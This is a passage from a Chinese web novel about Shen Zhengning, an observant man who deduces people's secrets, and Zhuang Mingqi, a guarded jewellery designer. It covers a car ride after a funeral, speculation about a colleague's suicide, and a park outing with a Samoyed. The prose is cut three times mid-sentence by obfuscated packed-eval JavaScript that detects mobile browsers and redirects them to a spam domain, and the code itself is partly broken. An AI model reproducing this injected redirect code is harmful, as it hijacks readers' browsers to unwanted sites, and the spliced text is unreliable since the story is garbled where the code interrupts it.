没用的自尊心增加了。庄明玘靠进座椅深处,没有立刻屈从,却也没有移开视线,如果目光能化作实质,他现在应该已经给沈政宁打好了耳洞。 沈政宁察言观色的本事俨然已臻化境,他从后视镜中看见庄明玘在那不情不愿地小猫撇嘴,适时地开口道:“不尝一下吗?那个小面包。” 庄明玘:? 为了照顾他那脆弱的破自尊心,还要专门给他铺台阶,沈政宁一边在心里唾弃自己一边说:“那不是一般的面包,很特别,你尝一下就知道了。” 五块钱一袋10个的小面包能有多特别? 庄明玘犹豫两秒,心说他绝不是被沈政宁威胁到了,纯粹是为了满足好奇心而已。 他慢吞吞地伸手把角落里的小面包够了回来。说起来那个姿势也很像猫咪用爪子扒拉东西,沈政宁有点怀疑他会不会在家里跟萨摩耶互挠。 后座传来塑料纸摩擦细小的动静,咀嚼声几乎听不见,庄明玘细嚼慢咽地吃完了一个巴掌大的小面包,把包装袋用纸巾包好随手塞进外衣口袋里——还算有基本素质——血糖回升后反胃的感觉似乎也缓和了许多,他看起来精神了一点,不再是黯淡发蔫的霜打小白菜,语气里带着不明显的疑惑:“所以它有什么特别的?” 沈政宁的嘴角飞速颤了一下,被他用强大的意志力生生压平,故作惊讶道:“嗯?你没尝出来吗,要不要再吃一个?” “不用了,谢谢。”庄明玘冷淡地下了结论,“它就是普通小面包而已。” 沈政宁:“不是哦。” 庄明玘狐疑地对上他的眼睛。 微笑如水波,终于在澄静的眼眸里泛起无垠涟漪:“被一个特别嘴硬的人吃掉,这个小面包的口感应该格外柔软吧,你觉得呢?” 庄明玘:“……” 他暗自深吸一口气,冷冷地顶了回去:“这么说的话,所有面包到你嘴边都会变成切片吐司。” 沈政宁幽幽地再补一刀:“不好意思呢亲,不满意也不能给差评哦,因为你搭的是好心人免费的顺风车。” 庄明玘:“……” 久违的被气死了的体验——他到底为什么要上沈政宁的车,如果当初老老实实在原地等出租车,现在就不会被这个人威胁、戏弄、挖苦,被牵着鼻子走后还问为什么。 “为什么。” “嗯?” “为什么帮我?”庄明玘倚着冰凉的车窗,雨水蜿蜒落下的痕迹影影绰绰地倒映在他眼里,宛如流淌着某种无法诉诸于口的悲哀。 和大多数普通人一样,沈政宁帮过别人很多忙,主动伸手或者被请求,但会问出这种问题的人他只遇见过两个,一个是袁航,一个是庄明玘。 沈政宁反问:“顺手的事,还需要什么理由吗?” “你和叶桐生更熟悉,我对你而言只是个陌生人。但在告别厅的时候,你没有站在叶家那边,为什么?” 沈政宁沉默了两秒,忽而感慨:“你原来有自知之明啊。” “……”庄明玘凉凉地说,“不好意思了,我是个讨厌鬼。” 他还真和袁航是一个路数,天塌下来靠嘴顶着,把一切秘密藏在心里,预设了自己会被讨厌,因此不期待被帮助、也不主动开口向别人求助,甚至被捞了一把后,还会问出听上去不知好歹的傻问题。 命犯死鸭子的沈政宁有点想叹气。 推理分析这种事听起来好像很厉害,但真发生在自己身上时,并不是所有人都能接受——或者说大部分人都不想成为被推理的对象。因为未经许可的剖析本质上是一种冒犯,袁航当时年纪小不懂事,还没有那么强烈的感觉,像庄明玘这种警惕心过强的类型,刚才沈政宁一句话就把他惹毛了,说得太多他怕这人会当场跳车逃逸。 “我没听见你跟他们说了什么,我当时在另一边接电话。”沈政宁想了一下,找了个和稀泥的说法,“后来想过去和家属打声招呼,结果对方突然动手,我条件反射顺便扶了一把而已。” “不管怎么说,在葬礼上打成一团挺难看的,我不是要帮你,是为了叶桐生的体面……虽然他已经不在了。” 这句话堪比摁下了静音键,车内气氛突然陷入死寂,庄明玘周边气温凭空下降三度,脸色犹如凛冬将至,轻柔而讽刺地冷笑一声:“是吗?真体贴啊。” 忍一时风平浪静,沈政宁在心里自己劝自己,喜怒无常是他们这个品种的标配,社会化没做好不是社会的问题,没必要跟他一般见识。 “在你们眼里,活人死人,都比不过看不见的‘面子’。”他厌倦的语气里似乎还有一丝藏得很深的失望,“我也是你‘善良’的一环——” “那倒不是。”沈政宁忽然开口打断他:“你是我今天出门不看黄历的报应。” 雨势忽然转急,在玻璃窗上打出噼里啪啦的碎响。 “别擅自给别人加上期待又自顾自失望,你莫名其妙挠我一爪子,还成了我对不起你了?” 庄明玘:“……” 他好像被疾言厉色吓住的猫,缓了半天才低声反驳:“谁挠你了,别随便污蔑人。” 沈政宁冷冷地道:“我知道你想问什么。” 庄明玘抬起玻璃般清透的琥珀色眼睛,一瞬不瞬地等着他的下文。 “把另一个面包也吃了。” “什么?” “把另一个面包也吃了,”沈政宁平稳地重复了一遍,“吃完我就告诉你。” 庄明玘匪夷所思地瞪着他,但因为长的太好看了而毫无杀伤力,沈政宁甚至还贴心地问他喝不喝水,想喝可以自己去后备箱拿一瓶。 “我不饿。”庄明玘一口回绝,“一个就够了。” 进入市区后路有点堵,沈政宁排在车流长龙里,终于有空回头微笑着看他:“你知道吗,如果把你的饭量发到小X书上,网友会让你带着你的宝宝碗滚。” 庄明玘:? 沈政宁用骗小孩的语气说:“吃吧,还得堵一会儿,万一你不幸低血糖晕倒,这个路况可能会耽误抢救。” 庄明玘:“……” 起初庄明玘只觉得他是个好看的路人,后来他判断对方是个精明的好人,现在他终于意识到沈政宁就是在拿一只手跟他玩,人类在洞察人心的妖怪面前注定一败涂地。 “不要偷偷在心里妖魔化我。”沈政宁适时开口,“我只是认真观察、合理推测,没有透视眼也不会读心术。” 再怎么解释他也不会相信了,庄明玘撕开包装袋,慢吞吞地服用着小面包,听沈政宁说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916656|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我有个同学是警察,刚好参与了叶桐生的案件,所以叶桐生和他父母的矛盾我刚好知道一点,不多,但够用了。” “虽然不知道你具体说了什么,但很明显是冲着叶桐生的父亲去的,你讨厌他,对吧?因为他犯下错误却没有一丁点悔改的意思,是个暴力、偏执、虚伪的控制狂,同时还很擅长在外人面前装可怜。” 庄明玘突然有点后悔没有坐副驾,他很少对旁人产生“靠近”的想法,但他此刻非常想仔细地看清这个人。 他眼里明明白白地写着“你还说你没有读心术?” “你那是什么眼神。”沈政宁一瞬失笑,继而正色道,“我知道叶桐生高中离家出走,半年前回家被他父亲强行关在家里,身上有很多小时候被他父亲打出来的旧伤。 “他父亲在对警察的叙述中极力地藏起自己做过的事,夸大叶桐生的叛逆,想必平时对亲戚朋友也这么说,这套话术他用的已经很熟练了,随时随地信手拈来,把自己塑造成拿孩子没办法的可怜父母,引起周边的同情,否则叶桐生也不会一回到老家就被‘热心人’劝说,让他回去和家人和解。” 庄明玘的咀嚼微微一停,一股熟悉的反胃感涌上喉头,仿佛有只无形的手一把攥住了他的胃。 他想起躲在人群后的中年男人,他看上去悲哀憔悴,那么可怜,那么逼真,所有人都同情他,所以他们听不见背后阴影里遥远的惨叫和痛呼。 “我和叶桐生做了好几年同事,不记得他有没有穿过露小腿的裤子,不过夏天他会穿短袖,这一点应该没错。”沈政宁手指轻轻点着方向盘,“他身上的旧伤多到警察都觉得异常,但露在外面的肢体干干净净,太过巧合反而刻意,说明施暴者是精心算计好的,专挑衣服能遮住的地方打,这和他表现在人前的‘无能为力’可不太相符。” “所以你在葬礼上挑衅人家父母,不是因为你不看场合不会说话,你就是存心找茬,因为你讨厌他们、在替叶桐生鸣不平,这就是为什么我站在了你这边——怎么样,这个答案能让你满意了吗?” 隐隐的反胃感无声无息地平复下去,面包的甜味又重新回到了他的味蕾上。 视线在不经意间相触,庄明玘像被蜜蜂蛰了一样飞快躲开,含糊地“唔”了一声。 沈政宁没有对他这声哼唧做出评价,看来是轻轻抬手放过了他。 红灯转绿,长龙缓缓流动起来,车平稳地开了出去。 被安抚下来的情绪告诉他已经不用再追问什么了。敏锐的洞察力、迅速精准的判断,以及手术刀一样锋利而直指要害的剖析,成就了沈政宁这个人的核心气质,那种安定感强大到不讲道理,几乎足以抚平经年久远的噩梦。 原来他的直觉并没有出错,所以当预期不符时,才会产生被愚弄的别扭感觉。 两人一时谁都没作声,车里安静了很久,等沈政宁想起来瞥一眼,发现庄明玘居然靠窗低垂着脑袋、皱着眉睡着了。 这又是什么习性…… 他的目光只不过多停了两秒,庄明玘眉头的竖纹就深了一分。沈政宁移开视线,刻意维持的轻松表情渐渐沉静下去,变成了凝神的思索。 叶桐生的父亲没有特意编造什么精巧的谎言,他只是隐瞒、粉饰、配以唱念做打,周围和他同辈的中老年人,以及养孩子比较粗糙的父母看不出来很正常,但对于某些对话术敏感的人、尤其是受过原生家庭伤害的孩子来说,很容易就能分辨出隐藏在名为“亲情”之下的暴力谎言。 他从反光镜面里看着后座的睡美人,探究地心想,你又是中了什么魔咒呢? 12.联系 “我错了……我真的错了……” “饶了我吧……” “求求你……” “我恨他们……我绝对、永远不会原谅……” “!” 窗外的喇叭惊散了椎心泣血的尖叫声,庄明玘搭在腿上的指尖痉挛似地抽搐了一下,从颠倒的乱梦中蓦然抽离。车已经停在了路边,一缕凉风挟着雨汽从前排半开的车窗里徐徐吹入,沈政宁正低头在手机上回复消息。 “醒了?” 他弄出的一点小动静没有躲过沈政宁的耳朵,对方熄灭了手机屏幕,转过脸来看向他,微笑里有点让人爪子发痒的揶揄意味:“随随便便在陌生人的车上睡着,你的警惕心呢?” 庄明玘还有点没醒过神,神情迷茫地看了他一眼。沈政宁被他懵懂地一抬眼杀得当场哽住两秒,悻悻地说:“不知道你家地址,把你放在这儿行吗?” 外面是近来每天早上遛狗都能相遇的路口,雨势已经很小了,就算不打伞也不会淋湿。庄明玘明明睡了一觉,看起来反而更疲倦了,低垂着眼说:“谢谢,我自己走回去。”他推开车门,犹豫了一下,大概是考虑到礼节问题,又问:“要来坐坐吗?” 这句话的社会化程度之高令沈政宁为之侧目,但不看具体场景硬套公式又暴露了他纯粹只是假客套的本质,沈政宁很轻地笑了一声,随手把黑色领带解下来丢到一边,谢绝的口吻有种不动声色的宽容:“不了,我还得回去上班。” 不同于庄明玘那种穿什么都是时尚单品的人形衣架子,他平时很少穿正装,不太习惯打领带,总觉得拘束别扭,这会儿把白衬衣顶端的扣子松开,终于能自在地喘口气,态度也随性起来:“我一开始就说了,只是顺手的事,别客气了,回去吧。” 他不说还好,一说反而提醒庄明玘想起更多,他推门的手停在半空:“也谢、谢、你的小面包。” “不客气。”沈政宁把这三个字咬得异常清晰,顺畅地接上了他的话:“想报答的话,有空把你家的大面包带出来给我玩玩吧。” 庄明玘:“没有20公斤的面包。” 沈政宁:“?突然在这种事上较什么劲啊。” 那一瞬间划过心头的感受是“不想结束”。 车载香氛是温暖的柏木和香根草,混杂着窗外吹来带着凉意的、被雨水浸泡过的树叶的甜味,车内光线明暗刚好,就像这片领域的主人一样安定,无声地包容了他不合时宜的尖锐,却又偶尔会用不伤人的力道戳他一下,逼着他暂时跳出消沉的阴霾,去跟空气斗智斗勇。 他迟迟没有动作,沈政宁也许是看出了他还有话想说,耐心地:“嗯?” 庄明玘不喜欢社交,跟人说话能省则省,这种“意犹未尽”的感觉让他很想抓住点什么,更别提他那差劲的睡眠质量竟然能在沈政宁车上睡着,简直像铁树开花一样稀罕,因此他在心里权衡再三,主动迈出了一步:“联系方式,给我一个。”说完又像个人工智能一样补充了礼貌用语:“可以吗?” 沈政宁:“微信?” 庄明玘明显没反应过来,怔了一下:“什么?” 沈政宁朝他晃了晃手机:“不是要联系方式吗?” “哦,不好意思。”他一霎恍然,从口袋里抽出手机,“我忘了你们习惯用微信。” 沈政宁又咬了一下字眼:“‘你们’?” “不是那个意思,”庄明玘不太熟练地打开微信,“我之前一直在国外,没怎么用过微信,还有支付宝之类的软件……” 难怪他在殡仪馆门口打不到车,看来还没完全适应国内各种软件构筑起来的生活体系。沈政宁加上了他的微信,头像果然是雪白的长毛团子,再看他发来的信息:“原来是这个‘玘’,我还以为是‘起立’的‘起’字……” 他略一思索,刹住了后半句话,庄明玘终于达成所愿,没注意他短暂的停顿,开门下车时再度朝他道谢:“你的名字很好听,今天谢谢了。” 他伫立在铺满梧桐落叶的街角,目送着沈政宁开车离去,才转身朝家的方向走去。 感谢开发商的绿化和街景,沈政宁离开前随便瞥一眼,那画面都优美得像杂志封面。人与人的际遇奇妙不可言,今天的每一步都不在他的预料之内,完全是随机应变,可从达成的结果来看,意外地还不错。 写字楼地库出入口正对着一片未开通的道路,员工们习惯把车停在空地上,道路旁边是一大片没开发的荒地。沈政宁日常不怎么开车上班,今天到得又晚,绕了点路才找到可以停车的空位。 某种说不清道不明的直觉促使他站住脚步,回身望向笼罩在雨雾中的荒草野树。穿过这片荒地,前方便是新柳河左堤,对应地点距离发现叶桐生遗体的排水管大概也就一二百米。 可是这又能说明什么?沈政宁在心里提出质疑,警察一定也搜寻过左岸,叶桐生从左岸还是右岸跳河,两者有什么区别吗? 他一时没想明白产生这种直觉的缘由,穿过马路走进了写字楼,手机在掌心震了一下。 庄明玘是个充满矛盾和谜团的人,对他来说像是乱糟糟的毛线团,沈政宁被激起了好奇心的同时,也在下意识地克制自己的好奇,以免天性压倒人性、变成令人不快的讨厌鬼。所以他没有在加上微信后立刻跟庄明玘聊天,反而是对方先发了照片过来——雪白的萨摩耶在潮湿的落叶丛中刨坑,尾巴快乐地摇出了残影。 养狗就是无论晴雨风雪都得出门遛,庄明玘没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927812|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话,但是他的幽怨已经扑面而来。 沈政宁一边打卡一边回复:很可爱。 庄明玘回他:你摸到一手泥就不会这么说了。 沈政宁不由得微笑起来,那惊鸿般的笑意让电梯里的人都忍不住借着镜子多看了他几眼。等电梯停靠在三楼,他走向公司办公区,路过公共茶水间时,听见里面传来压低的谈话声:“今天楼里好多穿黑西装的人啊,是讨债公司上门了吗?” “橘泉有个员工自杀了,今天是葬礼吧。” “啊?多大年纪啊,为什么自杀啊?” “不知道,工作压力太大了吧,要么就是精神有问题。” “小道消息,我一哥儿们说的,那人好像是盗窃公司用户数据,现在事情闹大了,他被抓住小辫子,所以畏罪自杀了。” “我去,这什么电视剧剧情,真离谱。” 沈政宁倏然一怔,黑夜火花般再度闪现的灵光终于被他抓住了端倪。他快步走到办公桌前,在等待电脑开机的片刻里迅速捋清了思路。 叶桐生的死因,在两组不同证人的描述下,发展出了两条不同的推理思路——其中一条是警方采信、叶桐生家人提供佐证的因情绪抑郁而自杀;另一条是没有切实证据、罪魁祸首尚未查清,但在传闻里已经由叶桐生背锅的信息泄露继而畏罪自杀。 前者的逻辑并不完美,沈政宁跟袁航讨论过其中的别扭之处,那条“对不起”的朋友圈从情理上来说更符合后者,但如果是这样的话,他就要对叶桐生这个人打上问号——虽然沈政宁并不自诩为正义使者,但他也不想浪费自己的脑细胞,去追究一个也许是费力不讨好的答案。 问题在于,谁能拍着胸脯担保,叶桐生绝对不是一个会辜负自己的专业、出卖自己的良心的人? 手机和电脑同时亮了起来,沈政宁低头解锁,屏幕还停留在他和庄明玘的聊天页面上。 为了证明所言非虚,庄明玘发了张新的照片,雪白的萨摩耶鼻尖顶着明黄落叶,由于湿度太大,毛发没有以往那么蓬松,两只前爪踩的到处都是泥,却依然朝着镜头露出比晴日还要明亮的微笑。 沈政宁忽然想到一个被他忽略了的问题:庄明玘有叶桐生的微信吗? 以他对叶桐生过去的了解,他会怎么看待叶桐生最后一条朋友圈? 他目光短暂地停驻在照片中捧起萨摩耶脑袋的那只手上,先前由于衣袖和手表的遮挡,他一直没注意过庄明玘的手腕、。此刻因为动作的缘故,宽松柔软的卫衣袖口滑落少许,露出不常见光的手腕内侧,苍白的皮肤上筋骨凸起,其上横亘着一道两端浅、中间深的暗淡疤痕。 他想了片刻,回复道:后悔了,我不该来上班,应该留下来玩狗的。 13.公园 Silver吃掉了沈政宁上贡给它的小零食,与这个每天清晨都要停下来摸它五分钟的人类建立了初步友谊,并主动伸出爪子跟他握了握手,那意思是如果可以的话请再来一块。 沈政宁趁机揉它的脑袋,把两只软软弹弹的耳朵揉得趴下去又支棱起来,真诚地夸赞它:“silver,你是世界上最可爱的小狗。” 庄明玘戴着帽子和墨镜,浅灰色长风衣,像个刚从地下挖出来的千年吸血鬼,与周围和乐融融的气氛格格不入,冷淡地偏过头去打了个呵欠,凉嗖嗖地道:“20公斤的‘小’狗。” 沈政宁捂住萨摩耶的耳朵,不让它听见刻薄人类的阴阳怪气:“你半夜做贼去了,困成这样?” 庄明玘若无其事:“没睡好。” 沈政宁挑了下眉梢:“但你好像每天早晨都这么困。” 庄明玘:“那你还问。” 不讲理就是他们这个品种的天性,沈政宁每次都在心中如此自我开解,反正他也不是出来和庄明玘玩的。秋末的天气凉爽晴朗,阳光明媚得晃眼,落在白毛小狗身上像镀了一层金,每个路过的游客都会情不自禁被它分走一刹心神,偶尔会有人主动上前问可不可以摸,庄明玘站在旁边魂游天外,冷艳高贵完全不搭理人,沈政宁只好代行主人职责,一边帮忙捏住狗狗嘴筒子,一边得体地应对来自四面八方的夸奖和称赞。 上次他说有空把萨摩耶领出来给他玩玩,还以为庄明玘会找个周末清晨遛狗时段顺便让他过把瘾,没想到对方特意发消息约他周末去新柳公园。 这种稍显正式的邀约对他们现在的熟悉程度来说似乎有点为时过早,但关系就是处出来的,在沈政宁帮他分担了大部分社交之后,庄明玘也终于从睡眠不足的低血压状态里缓和过来。他站在几步开外的树荫下,看着在小女孩面前半蹲下身的一人一狗——编着发辫的小女孩笑得像天使,雪团似的萨摩耶温顺地任由她抚摸,以及保持着半跪姿势、沉静安定犹如守护骑士的清俊男人,银杏叶在他们身边簌簌地飘落,那场面有种难以言喻的、让人心软的温柔可爱。 庄明玘把手伸进风衣口袋,摸出了一本巴掌大的手账本,他没有再抬眼看向描绘对象,下笔却毫无滞涩,几乎不加思索就一气呵成,旋即走向阳光下的三人组,取下了活页纸张,将那幅素描画递向小女孩。 小女孩迟疑地仰头看向对她而言高得像树一样、几乎遮住了大半张脸的怪人,非但没敢伸手接,甚至惊恐地后退了一步。沈政宁见状,低低笑了一声,回身半是征求地瞥了庄明玘一眼,小心地避开他的手指接过纸页,把画面亮给小女孩看:“这个叔叔想送给你一幅画,谢谢你喜欢他的狗狗。” “哇!”小女孩惊呼,大眼睛和萨摩耶一样又黑又亮,“这是我吗?” 庄明玘惜字如金地“嗯”了一声。 “桃桃!” 远处的呼唤和西风一起吹过耳稍,名叫桃桃的小女孩利索地回头,朝小路另一头匆匆走来的女人招手:“妈妈!妈妈快来看狗狗!还有叔叔给我画的画!” “噗。”不知道这句话戳到了沈政宁哪个笑点,他呼噜了一把萨摩耶的狗头,意有所指地小声说,“silver果然是世界上最可爱的小狗。” 庄明玘:“……” “一眼没看住你就跑没影了!”女人匆匆走过来,手里还举着冒热气的烤肠,克制地低声轻斥,“不是说好了在旁边乖乖等妈妈吗?为什么自己偷偷跑了?” “妈妈你看!”桃桃扑上去献宝,“这是我和狗狗的画!” 烤肠极具侵略性的香气飘散开来,silver一蹬腿从蹲姿变站姿,蠢蠢欲动地耸动鼻尖。沈政宁眼疾手快拉住了狗绳,对面的女士大概是被吓了一跳,顺手把桃桃揽到了自己身后,客气而不失警惕地朝沈政宁道谢:“小孩子冒冒失失的,打扰你们了,谢谢你们陪她玩。” 在她走过来站住的那一刻,庄明玘就不着痕迹地往沈政宁身后闪了闪身。沈政宁余光瞥见他的动作,也不知道他为什么突然内向发作,但又不能像东亚家长一样当场把人揪出来按头跟对面问好,只得挺身而出,替这对靠不住的主宠撑起了场面:“不会,您女儿很可爱,狗狗也很喜欢她。” 自带安定气质的沈政宁显然比庄明玘更有亲和力,桃桃妈妈在他温和的视线里缓缓放平了警惕的尖刺,朝他很轻微地笑了笑:“谢谢。”又低头轻声催促女儿,“桃桃,跟哥哥说再见。” 桃桃大声地:“哥哥再见!叔叔再见!狗狗拜拜!” 沈政宁强忍着笑意弯腰对她挥手:“再见。” 等母女俩走远了,他终于不再克制,在庄明玘阴恻恻的目光里笑倒在萨摩耶身上:“噗,对不起哈哈哈……” 萨摩耶无辜歪头,朝主人投来不明所以但明媚照人的微笑。 庄明玘:“……” “适可而止。”每个字都带着一丝丝磨牙声,他冷冷地道:“小沈,不然我就要没收你的狗了。” “对方年纪跟我们差不多,她的女儿确实应该叫叔叔。人家妈妈大概是出于职业习惯的客套。” 由于庄明玘不自然的回避,沈政宁格外关注了一下对面的女士:年龄在25到30岁之间,身材清瘦,头发栗色微卷,穿着牛仔裤和休闲外套,平底鞋,背一个鼓鼓囊囊的帆布包……可能是单身带孩子的美容从业者。 “等一下。”庄明玘叫停,“我是不是漏听了哪一段,你这个结论是怎么得出来的?” 此刻两人已经同那对母女告别,牵着萨摩耶在河边步道上闲逛,枝叶缝隙落下的碎金影影绰绰地映在肩头,萨摩耶甩着尾巴在前方小跑,气氛安闲静谧,他们看起来几乎像是一对真正的好朋友。 沈政宁在对待一些不那么重要的问题时,会有学霸跳步骤的通病,他懒洋洋地眯起眼,享受微风拂过脸颊:“过程不重要,很啰嗦,有结论就够了。” 庄明玘透过墨镜边缘瞥他一眼,用毫无起伏的语调朗诵道:“请大发慈悲地明示我等凡人吧,福尔摩斯先生。” 沈政宁:“……别这么叫我,好丢人。” “只是我的猜测,不保证准确率。”他习惯性地先叠盾,随后才解释道,“她很注重外在形象,头发烫染过,习惯化妆,但脸颊两边有口罩的勒痕,说明工作环境有外形和卫生要求;做了美甲,却修剪得很短,非常整齐,可见是手工工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938614|159315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不能留长指甲;指甲颜色是不太常见的深蓝色,说明职业比较自由;背的帆布包角落有培训机构‘Olivia Beauty’的落款,所以推测她在美容行业工作,进一步推断她的职业习惯是会把客人称呼得比较年轻。” 庄明玘仗着墨镜挡脸,毫不掩饰眼里的莫名敬畏:“那单身是怎么看出来的?” “你很感兴趣?”沈政宁问。 庄明玘立刻扭头:“没有。” 沈政宁怀疑地睨了他一眼,忍不住自我吐槽:“在背后议论这种事好没品。” 庄明玘虽然经常不理人,但对于某些刺探目光相当敏感,立刻义正辞严地声明:“别想歪了,我没有任何意思,只是好奇。” 沈政宁“哼”地笑了,语调懒散地调侃他:“你认识她,却不敢相认,给人家女儿送画,还对人家的情感状况那么好奇……很难不让人想歪吧。” 庄明玘:“你这个人真的是……” “很可怕?” “如果你是指敏锐程度的话。”庄明玘说,“我现在开始好奇,究竟什么人才能在你面前滴水不漏了。” “人本身就是信息的集合,区别只在于能读到多少。”沈政宁说,“就比如她手上的戒指,你应该也看到了,你觉得那代表什么?” 庄明玘思索了一下:“克劳迪amore系列18K金指环,单钻,不太好分辨是不是正版。” 沈政宁勾起了唇角,露出了意味不明的笑意,忽然没头没尾地说:“你的职业病也挺明显的。” 庄明玘微怔:“我似乎还没提起过我的工作?” “人是信息的集合,”沈政宁说,“海量信息的集合是互联网啊。” 庄明玘:“……失算了。” “塔维涅杰出的青年珠宝设计师,你的照片就挂在他们官网上,很难搜不到。” 没等庄明玘应激炸毛,沈政宁话锋一转,把这件事轻轻地放下了:“说回刚才的话题,那个戒指是素金指环,内侧有明显划痕,可见带了很久。既然她有戴戒指的习惯,又明显结过婚有孩子,戒指却没戴在无名指上,很有可能是单身。” 庄明玘被他牵走了思路:“也许只是戒指买大了?或者她就是不爱在无名指上戴戒指?” “那个戒指是真金,还是你说的品牌戒指,她不至于选一个不合适的号码。”沈政宁说,“另外她对陌生男人的态度很警惕,先保护孩子,另一只手立刻往口袋里摸,那个东西是圆筒状,我不是很想知道它具体威力有多强。” 啪啪。 庄明玘抬起手,面无表情地给他鼓了两下掌。 “所以呢,”沈政宁循循善诱,“她怕你情有可原,你为什么怕她?” 庄明玘陷入沉默,当他试图逃避什么的时候,那种全身上下写满拒绝的气场其实非常好辨认,沈政宁甚至能看出他的大脑正在疯狂运转搜寻借口,最后他干巴巴地答道:“因为我有社交恐惧症。” 沈政宁:? 庄明玘:“不行吗?” 沈政宁:“你知道如果我想让你难受,甚至不用动手打你,只需要碰你两下就可以吗?” 庄明玘:“……” 14.童年 不夸张地说,庄明玘算是送了个最大的把柄落在沈政宁手里,他是个没人招惹尚且要随机生闷气两小时的性格,然而此刻竟奇迹般地没有被逆毛撸炸。 他和沈政宁依然说不上非常熟,但却在寥寥几次接触中培养出了微妙的信任感——他想起沈政宁刚才接过画纸时小心避开他手指的动作,近乎直觉地相信这个人非但不会伤害他,甚至还会非常谨慎地避开可能触发他创伤的细节。 “我以前认识她,不过也仅限于互相知道,不算很熟。”庄明玘吝惜地给出了隐晦含糊的答案,“她见到我的话,也许会想起一些不太愉快的经历,所以还是装作不认识比较好。” 沈政宁迎着日光眯起眼,静了片刻,忽然问道:“她和叶桐生一样,也是你高中时期的朋友?” 沈政宁话音落地那一瞬间,庄明玘全身鸡皮疙瘩集体炸开,仿佛有人照着的后脑勺来了个全垒打,险些令他魂飞天外:“你怎么知道的?!” 他很少表现出这么剧烈的情绪,沈政宁连忙澄清:“我瞎猜的,瞎猜的。” 庄明玘定定地看了他一眼,抿着嘴微微偏过头去,虽然表情被遮住大半,但他就差在墨镜上写上“我要闹了”四个大字。沈政宁心想谁要哄你啊,一边低声下气及时转移话题:“前面有露天咖啡店,要不要过去坐一会儿,顺便喝杯咖啡?” 片刻后,沈政宁端回来的温热甜美的榛果拿铁终于熨平了庄明玘持续了足足五分钟的小猫撇嘴,他这个习惯于动脑子的人却喝着不加糖的热拿铁,一手在萨摩耶脑袋上轻轻地揉着,为了让小狗有参与感,顺手也给它喂了点小零食。 “你既然这么喜欢萨摩耶,为什么不自己养一只?” 庄明玘摘了墨镜,露出剔透的琥珀色眼眸,他的确是睡眠不足,眼底晕开了明显的青黑,显得眼窝更深,有些楚楚动人的憔悴。 沈政宁擅长分析他人,却很少剖析自己,倒也不是他故意避讳,只不过在通常的对话语境中,由于他经常占据分析者的位置,听众往往会下意识随着他的引导,将注意力全部投向被分析的对象,继而忽略分析者本身的存在。 但庄明玘此刻的神色很认真,眼神里隐隐约约透露出“轮到你了”的威逼意味,他这种习惯站在一旁暗中观察人类的性格会主动追问的情况还挺少见的,好像警惕心超强的猫从衣柜顶上跳下来试探性地靠近。 社交规则之一是“有来有往”,他从庄明玘身上得到了一些或深或浅的信息,虽然并不完全出于当事人的自愿,不过他此刻明确表现出了“想要了解”的意愿,沈政宁也用堪称坦率的态度接纳了他的试探,宽容地对他敞开了一部分领地。 他喝了口咖啡,慢悠悠地回答:“小时候,我爷爷曾经送过我一只小白狗,我那时候还不知道它是萨摩耶,只是觉得它非常可爱,每天放学后第一件事就是冲回家去看它。” 小狗和小孩是天生的好朋友,它很快就学会了坐下、握手、作揖的指令,会用湿漉漉的鼻尖触碰他的掌心,主动把头伸到他膝盖上求抚摸。 沈政宁给它起了名字叫“咪咪”。 庄明玘捧着咖啡杯,脑袋上冒出一个巨大的问号:“不是很懂你的逻辑。” 沈政宁试图共情年少时的自己:“它和我小时候经常看到的那些潦草野狗不一样,太精致了,像玩具小狗,所以起了个读起来更……呃,毛茸茸一点的名字吧。” 少年人就是这样不讲道理又全心全意地投入了所有的爱和关注,热烈地喜欢着他的小狗,直到某一天傍晚放学回到家,沈政宁没有看到已经习惯准点在门口等待他的咪咪。 沈政宁连校服都来不及换,里里外外找了一圈,焦急地问他妈妈:“咪咪呢?” 他已经记不清妈妈当时是什么表情了,唯独记得那天黄昏屋中沉凝的暮色,像粘稠水泥一样从天花板上漫灌进来,白墙上倒映着血红的夕阳,他妈妈语气不太好:“送回你爷爷家了。今天你们老师给我打电话,说你月考成绩掉出了年级前五十,物理考砸了,你这段时间太松散了,精力都没放在学习上……” 沈政宁心里咯噔一下,难以言喻的恐慌笼罩了他的心脏,但他立刻意识到自己应该表态挽回:“妈妈,我下次一定好好考,你先把咪咪接回来行吗?” “不行,”他妈妈一口否决,“玩物丧志,你现在唯一的任务就是学习,别的都免谈。还有一个多月就是期末了,你要是还这么吊儿郎当的,今年这个年我是没脸过了,自己长点心吧。” 